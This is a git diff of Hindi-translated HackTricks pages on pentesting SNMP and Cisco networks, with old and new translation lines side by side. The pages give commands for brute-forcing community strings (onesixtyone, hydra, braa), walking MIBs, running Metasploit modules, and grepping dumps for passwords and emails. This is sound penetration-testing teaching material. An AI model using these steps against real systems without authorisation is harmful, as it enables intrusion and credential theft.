* 1 – यह मूल्य निर्दिष्ट करता है कि डिवाइस एक उद्यम या व्यापारिक इकाई द्वारा बनाई गई है।
|
||||
* 1 – यह इंटरनेट का मूल्य है जिससे सभी संचार इंटरनेट के माध्यम से होंगे।
|
||||
* 4 – यह मूल्य निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाया गया है और सरकारी नहीं।
|
||||
* 1 – यह मूल्य निर्दिष्ट करता है कि डिवाइस एक उद्यम या व्यापारिक एंटिटी द्वारा बनाया गया है।
|
||||
|
||||
ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और वे आपको उनके बारे में मूल जानकारी प्रदान करते हैं। इन नंबरों की अनुक्रमणिका सभी OIDs के लिए समान होती है, केवल जब डिवाइस सरकार द्वारा बनाई गई हो।
|
||||
|
||||
अगले सेट के नंबरों पर आगे बढ़ते हैं।
|
||||
अगले सेट के नंबरों पर बढ़ते हैं।
|
||||
|
||||
* 1452 – इस डिवाइस का निर्माण करने वाले संगठन का नाम देता है।
|
||||
* 1 – इस डिवाइस के प्रकार का विवरण देता है। इस मामले में, यह एक अलार्म घड़ी है।
|
||||
* 2 – यह निर्दिष्ट करता है कि यह डिवाइस एक रिमोट टर्मिनल इकाई है।
|
||||
* 1452 – इस डिवाइस का निर्माता का नाम देता है।
|
||||
* 1 – इस उपकरण के प्रकार को स्पष्ट करता है। इस मामले में, यह एक अलार्म घड़ी है।
|
||||
* 2 – यह निर्दिष्ट करता है कि यह डिवाइस एक रिमोट टर्मिनल यूनिट है।
|
||||
|
||||
उसके बाकी मान डिवाइस के विशिष्ट जानकारी देते हैं।
|
||||
उपकरण के बारे में विशिष्ट जानकारी देते हैं।
|
||||
|
||||
* 5 – एक विशिष्ट अलार्म प्वाइंट को निर्दिष्ट करता है।
|
||||
* 1 – डिवाइस में विशिष्ट प्वाइंट
|
||||
* 1 – उपकरण में विशिष्ट प्वाइंट
|
||||
* 3 – पोर्ट
|
||||
* 21 – पोर्ट का पता
|
||||
* 1 – पोर्ट के लिए प्रदर्शन
|
||||
|
@ -86,18 +86,18 @@ MIB वस्तु IDs या OIDs के उच्चतम स्तर व
|
|||
|
||||
SNMP के 2 महत्वपूर्ण संस्करण हैं:
|
||||
|
||||
* **SNMPv1**: मुख्य संस्करण, यह अब भी सबसे अधिक फ्रीक्वेंट है, **प्रमाणीकरण एक स्ट्रिंग पर आधारित है** (कम्युनिटी स्ट्रिंग) जो **सादा-पाठ** में यात्रा करता है। **संस्करण 2 और 2c** भी **सादा-पाठ** में ट्रैफिक भेजते हैं और **प्रमाणीकरण के रूप में कम्युनिटी स्ट्रिंग का उपयोग** करते हैं।
|
||||
* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है (शब्दकोश हमला किया जा सकता है लेकिन सही क्रेडेंशियल्स को खोजना SNMPv1 और v2 में से सही क्रेडेंशियल्स को खोजने से कहीं अधिक कठिन होगा)।
|
||||
* **SNMPv1**: मुख्य संस्करण, यह अब भी सबसे अधिक आम है, **प्रमाणीकरण एक स्ट्रिंग पर आधारित है** (कम्युनिटी स्ट्रिंग) जो **सादा-पाठ** में यात्रा करता है। **संस्करण 2 और 2c** भी **सादा-पाठ** में ट्रैफिक भेजते हैं और **प्रमाणीकरण के रूप में कम्युनिटी स्ट्रिंग का उपयोग** करते हैं।
|
||||
* **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है (**शब्दकोश हमला** किया जा सकता है लेकिन सही क्रेडेंशियल्स को खोजना SNMPv1 और v2 में से सही क्रेडेंशियल्स को खोजना से कहीं ज्यादा मुश्किल होगा)।
|
||||
|
||||
### कम्युनिटी स्ट्रिंग्स
|
||||
|
||||
जैसा कि पहले उल्लिखित है, **MIB पर सहेजी गई जानकारी तक पहुंचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स पता होना चाहिए**।\
|
||||
यहाँ **2 प्रकार की कम्युनिटी स्ट्रिंग्स** हैं:
|
||||
कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं:
|
||||
|
||||
* **`public`** मुख्य रूप से **केवल पढ़ने योग्य** कार्य
|
||||
* **`private`** **पढ़ने/लिखने** में सामान्य
|
||||
|
||||
ध्यान दें कि **किसी OID की लिखने की क्षमता कम्युनिटी स्ट्र
|
||||
ध्यान दें कि **किसी OID की लिखने की क्षमता कम्युनिटी स्ट्रिंग पर निर्भर करती
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
|
@ -120,7 +120,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
विस्तृत क्वेरीज (डाउनलोड-एमआईबीएस) के धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी को जांचना संभव है:
|
||||
विस्तृत क्वेरीज (download-mibs) के धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी प्राप्त की जा सकती है:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
|
@ -132,10 +132,10 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
### एक्सेस सेटिंग्स
|
||||
|
||||
नेटवर्क प्रबंधन में महत्वपूर्ण एक्सेस को सुनिश्चित करने के लिए दो मुख्य सेटिंग्स हैं जो OID ट्री का पूरा एक्सेस सुनिश्चित करती हैं, जो नेटवर्क प्रबंधन के लिए महत्वपूर्ण है:
|
||||
नेटवर्क प्रबंधन में महत्वपूर्ण एक्सेस प्रविष्टियाँ सक्षम करती हैं जो OID ट्री का पूरा एक्सेस सुनिश्चित करने में महत्वपूर्ण हैं:
|
||||
|
||||
1. **`rwuser noauth`** OID ट्री का पूरा एक्सेस बिना प्रमाणीकरण की आवश्यकता के सेट किया गया है। यह सेटिंग सीधी है और प्रतिबंधित एक्सेस की अनुमति देती है।
|
||||
2. अधिक विशिष्ट नियंत्रण के लिए, एक्सेस को निम्नलिखित उपयोग करके दिया जा सकता है:
|
||||
2. अधिक विशिष्ट नियंत्रण के लिए, एक्सेस प्रदान किया जा सकता है इस्तेमाल करके:
|
||||
* **`rwcommunity`** IPv4 पतों के लिए, और
|
||||
* **`rwcommunity6`** IPv6 पतों के लिए।
|
||||
|
||||
|
@ -145,10 +145,10 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
विंडोज सिस्टम के विभिन्न पहलुओं को SNMP के माध्यम से मॉनिटर करने के लिए एक श्रृंखला के **मैनेजमेंट इनफॉर्मेशन बेस (MIB) मान** का उपयोग किया जाता है:
|
||||
|
||||
* **सिस्टम प्रोसेसेस**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंचा जाता है, यह पैरामीटर सिस्टम में सक्रिय प्रोसेसेस का मॉनिटरिंग करने की अनुमति देता है।
|
||||
* **सिस्टम प्रक्रियाएं**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंचा जाता है, यह पैरामीटर सिस्टम में सक्रिय प्रक्रियाओं का मॉनिटरिंग करने की अनुमति देता है।
|
||||
* **चल रहे कार्यक्रम**: `1.3.6.1.2.1.25.4.2.1.2` मान वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए निर्धारित किया गया है।
|
||||
* **प्रक्रियाएं पथ**: प्रक्रिया कहाँ से चल रही है, इसे निर्धारित करने के लिए `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
|
||||
* **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स का मॉनिटरिंग `1.3.6.1.2.1.25.2.3.1.4` के माध्यम से सुविधाजनक है।
|
||||
* **प्रक्रियाएं पथ**: प्रक्रिया कहाँ से चल रही है यह निर्धारित करने के लिए, `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
|
||||
* **स्टोरेज इकाइयाँ**: स्टोरेज इकाइयों का मॉनिटरिंग `1.3.6.1.2.1.25.2.3.1.4` के माध्यम से सुविधाजनक है।
|
||||
* **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए, `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
|
||||
* **उपयोगकर्ता खाते**: `1.3.6.1.4.1.77.1.2.25` मान उपयोगकर्ता खातों का ट्रैकिंग करने की अनुमति देता है।
|
||||
* **TCP स्थानीय पोर्ट्स**: अंत में, `1.3.6.1.2.1.6.13.1.3` टीसीपी स्थानीय पोर्ट्स का मॉनिटरिंग करने के लिए निर्धारित किया गया है, जो सक्रिय नेटवर्क कनेक्शन्स में अंदरूनी दृष्टिकोण प्रदान करता है।
|
||||
|
@ -163,7 +163,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
## SNMP से RCE तक
|
||||
|
||||
यदि आपके पास वह **स्ट्रिंग** है जो आपको SNMP सेवा के अंदर **मान्यताएँ लिखने** की अनुमति देता है, तो आप इसका दुरुपयोग करके **कमांड चलाने** की संभावना है:
|
||||
यदि आपके पास वह **स्ट्रिंग** है जो आपको SNMP सेवा के अंदर मान्यताएँ **लिखने** की अनुमति देता है, तो आप इसका दुरुपयोग करके **कमांड चलाने** की संभावना है:
|
||||
|
||||
{% content-ref url="snmp-rce.md" %}
|
||||
[snmp-rce.md](snmp-rce.md)
|
||||
|
@ -171,35 +171,39 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
## **विशाल SNMP**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa)एक विशाल SNMP स्कैनर है। इस तरह के उपकरण का उपयोग, बेशक, SNMP क्वेरी करना है - लेकिन net-snmp से snmpwalk की तरह, यह दर्जनों या सैकड़ों होस्टों पर समयानुसार क्वेरी करने में सक्षम है, और एक ही प्रक्रिया में। इसलिए, यह बहुत कम सिस्टम संसाधनों का उपभोग करता है और बहुत तेजी से स्कैनिंग करता है।
|
||||
[Braa ](https://github.com/mteg/braa)एक बड़ा SNMP स्कैनर है। इस तरह के उपकरण का उपयोग, बेशक, SNMP क्वेरी करना है - लेकिन net-snmp से snmpwalk की तरह, यह दर्जनों या सैकड़ों होस्टों पर समयानुसार क्वेरी करने में सक्षम है, और एक ही प्रक्रिया में। इसलिए, यह बहुत कम सिस्टम संसाधन खपाता है और बहुत तेजी से स्कैनिंग करता है।
|
||||
|
||||
Braa अपना खुद का snmp स्टैक लागू करता है, इसलिए इसे net-snmp जैसी किसी भी SNMP पुस्तकालय की आवश्यकता नहीं है।
|
||||
Braa अपना खुद का snmp स्टैक लागू करता है, इसलिए यह net-snmp जैसी किसी भी SNMP पुस्तकालय की आवश्यकता नहीं है।
|
||||
|
||||
**सिंटैक्स:** braa \[कम्युनिटी-स्ट्रिंग]@\[SNMP सर्वर का आईपी]:\[आईएसओ आईडी]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
यह बहुत सारी जानकारी को निकाल सकता है जिसे आप मैन्युअल रूप से प्रोसेस नहीं कर सकते।
|
||||
|
||||
इसलिए, चलिए सबसे दिलचस्प जानकारी की तलाश करें ([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
### **उपकरण**
|
||||
|
||||
प्रक्रिया **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) की निकालने से शुरू होती है जिससे उपकरणों की पहचान होती है। यह **grep कमांड** का उपयोग करके पूरा किया जाता है:
|
||||
प्रक्रिया **sysDesc MIB डेटा** (1.3.6.1.2.1.1.1.0) की निकालने से शुरू होती है, प्रत्येक फ़ाइल से डिवाइस की पहचान के लिए। इसे **grep कमांड** का उपयोग करके पूरा किया जाता है:
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **प्राइवेट स्ट्रिंग की पहचान करें**
|
||||
|
||||
एक महत्वपूर्ण कदम में शामिल है संगठनों द्वारा उपयोग किए जाने वाले **प्राइवेट कम्यूनिटी स्ट्रिंग** की पहचान करना, विशेष रूप से सिस्को IOS राउटर्स पर। यह स्ट्रिंग राउटर से **रनिंग कॉन्फ़िगरेशन** को निकालने की संभावना प्रदान करती है। पहचान अक्सर **grep कमांड** के साथ "trap" शब्द के SNMP ट्रैप डेटा का विश्लेषण पर निर्भर करती है:
|
||||
एक महत्वपूर्ण कदम में शामिल है **निजी समुदाय स्ट्रिंग** की पहचान करना जो संगठनों द्वारा उपयोग की जाती है, विशेष रूप से सिस्को IOS राउटर पर। यह स्ट्रिंग राउटर से **चल रही विन्यास** को निकालने की संभावना प्रदान करती है। पहचान अक्सर "trap" शब्द के लिए SNMP ट्रैप डेटा का विश्लेषण करने पर निर्भर करती है जिसमें **grep कमांड** का उपयोग किया जाता है:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **उपयोगकर्ता नाम/पासवर्ड**
|
||||
|
||||
MIB तालिकाओं में संग्रहीत लॉग विफल लॉगऑन प्रयासों की जांच की जाती है, जिसमें गलती से पासवर्ड उपयोगकर्ता नाम के रूप में दर्ज किए जा सकते हैं। _fail_, _failed_, या _login_ जैसे कीवर्ड खोजे जाते हैं ताकि मूल्यवान डेटा पाया जा सके:
|
||||
MIB तालिकाओं में संग्रहीत लॉग विफल लॉगऑन प्रयासों की जांच की जाती है, जिसमें गलती से पासवर्ड उपयोगकर्ता नाम के रूप में दर्ज किए जा सकते हैं। _fail_, _failed_, या _login_ जैसे कीवर्ड्स की खोज की जाती है जो मूल्यवान डेटा ढूंढने में मदद कर सकते हैं:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **ईमेल**
|
||||
|
||||
अंत में, डेटा से **ईमेल पते** निकालने के लिए, एक नियमित अभिव्यक्ति के साथ **ग्रेप कमांड** का उपयोग किया जाता है, जिसमें ईमेल प्रारूपों के मिलने वाले पैटर्न पर ध्यान केंद्रित है:
|
||||
अंत में, डेटा से **ईमेल पते** निकालने के लिए, एक नियमित अभिव्यक्ति के साथ **ग्रेप कमांड** का उपयोग किया जाता है, जो ईमेल प्रारूपों से मेल खाते हैं:
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
|
@ -209,7 +213,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
|
||||
## स्पूफिंग
|
||||
|
||||
यदि किसी ACL है जो केवल कुछ IPs को SMNP सेवा क्वेरी करने की अनुमति देता है, तो आप इसमें से एक पते का स्पूफ़ कर सकते हैं और यूडीपी पैकेट के अंदर ट्रैफिक को स्निफ़ कर सकते हैं।
|
||||
यदि किसी ACL है जो केवल कुछ IPs को SMNP सेवा क्वेरी करने की अनुमति देता है, तो आप इसमें से एक पता जाल डी पैकेट के अंदर स्पूफ कर सकते हैं और ट्रैफिक को स्निफ कर सकते हैं।
|
||||
|
||||
## SNMP कॉन्फ़िगरेशन फ़ाइलें जांचें
|
||||
|
||||
|
@ -217,9 +221,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -263,12 +267,12 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud)।
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* [**दी पीएएस परिवार**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
|
||||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर** **फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को**।
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अगर आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जरुरी है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## सिस्को नेटवर्क का पेंटेस्टिंग
|
||||
## सिस्को नेटवर्क की पेंटेस्टिंग
|
||||
|
||||
**SNMP** UDP के माध्यम से काम करता है, सामान्य संदेशों के लिए 161/UDP पोर्ट और ट्रैप संदेशों के लिए 162/UDP पोर्ट पर। यह प्रोटोकॉल कम्युनिटी स्ट्रिंग पर निर्भर करता है, जो SNMP एजेंट्स और सर्वरों के बीच संचार सक्षम करने वाले पासवर्ड के रूप में काम करते हैं। ये स्ट्रिंग्स महत्वपूर्ण हैं क्योंकि ये एक्सेस स्तरों को निर्धारित करते हैं, विशेष रूप से **केवल पढ़ने योग्य (RO) या पढ़ने-लिखने योग्य (RW) अनुमतियाँ**। पेंटेस्टर्स के लिए एक प्रमुख हमला यह है **कम्युनिटी स्ट्रिंग की ब्रूट-फोर्सिंग**, जो नेटवर्क उपकरणों में घुसने का उद्देश्य रखता है।
|
||||
**SNMP** UDP के माध्यम से कार्य करता है, सामान्य संदेशों के लिए 161/UDP पोर्ट और ट्रैप संदेशों के लिए 162/UDP पोर्ट पर। यह प्रोटोकॉल समुदाय स्ट्रिंग पर निर्भर करता है, जो SNMP एजेंट्स और सर्वरों के बीच संचार सक्षम करने वाले पासवर्ड के रूप में काम करते हैं। ये स्ट्रिंग्स महत्वपूर्ण हैं क्योंकि ये एक्सेस स्तरों को निर्धारित करते हैं, विशेष रूप से **केवल पढ़ने योग्य (RO) या पढ़ने-लिखने योग्य (RW) अनुमतियाँ**। पेंटेस्टर्स के लिए एक प्रमुख हमला वेक्टर **समुदाय स्ट्रिंग की ब्रूट-फोर्सिंग** है, जो नेटवर्क उपकरणों में घुसने का उद्देश्य रखता है।
|
||||
|
||||
इस तरह के ब्रूट-फोर्स हमलों को कार्यान्वित करने के लिए एक व्यावहारिक उपकरण है [**onesixtyone**](https://github.com/trailofbits/onesixtyone), जिसमें संभावित कम्युनिटी स्ट्रिंग्स की एक सूची और लक्ष्यों के IP पतों की आवश्यकता होती है:
|
||||
ऐसे ब्रूट-फोर्स हमले को क्रियान्वित करने के लिए एक व्यावहारिक उपकरण है [**onesixtyone**](https://github.com/trailofbits/onesixtyone), जिसमें संभावित समुदाय स्ट्रिंग्स की एक सूची और लक्ष्यों के आईपी पतों की आवश्यकता होती है:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -31,7 +31,7 @@ onesixtyone -c communitystrings -i targets
|
|||
मेटास्प्लॉइट फ्रेमवर्क में `cisco_config_tftp` मॉड्यूल शामिल है, जो डिवाइस कॉन्फ़िगरेशन को निकालने की सुविधा प्रदान करता है, जो एक आरडब्ल्यू समुदाय स्ट्रिंग प्राप्त करने पर निर्भर है। इस ऑपरेशन के लिए महत्वपूर्ण पैरामीटर शामिल हैं:
|
||||
|
||||
* आरडब्ल्यू समुदाय स्ट्रिंग (**COMMUNITY**)
|
||||
* हमलावर का आईपी (**LHOST**)
|
||||
* हमलावकर्ता का आईपी (**LHOST**)
|
||||
* लक्षित डिवाइस का आईपी (**RHOSTS**)
|
||||
* कॉन्फ़िगरेशन फ़ाइलों के लिए गंतव्य पथ (**OUTPUTDIR**)
|
||||
|
||||
|
@ -39,7 +39,7 @@ onesixtyone -c communitystrings -i targets
|
|||
|
||||
#### `snmp_enum`
|
||||
|
||||
एक और मेटास्प्लॉइट मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी एकत्र करने में विशेषज्ञ है। यह किसी भी प्रकार के समुदाय स्ट्रिंग के साथ काम करता है और सफल अनुसरण के लिए लक्षित डिवाइस का आईपी पता आवश्यक है:
|
||||
एक और मेटास्प्लॉइट मॉड्यूल, **`snmp_enum`**, विस्तृत हार्डवेयर जानकारी एकत्र करने में विशेषज्ञ है। यह किसी भी प्रकार के समुदाय स्ट्रिंग के साथ काम करता है और सफल निष्पादन के लिए लक्षित डिवाइस का आईपी पता आवश्यक है:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
|
@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -59,10 +59,10 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
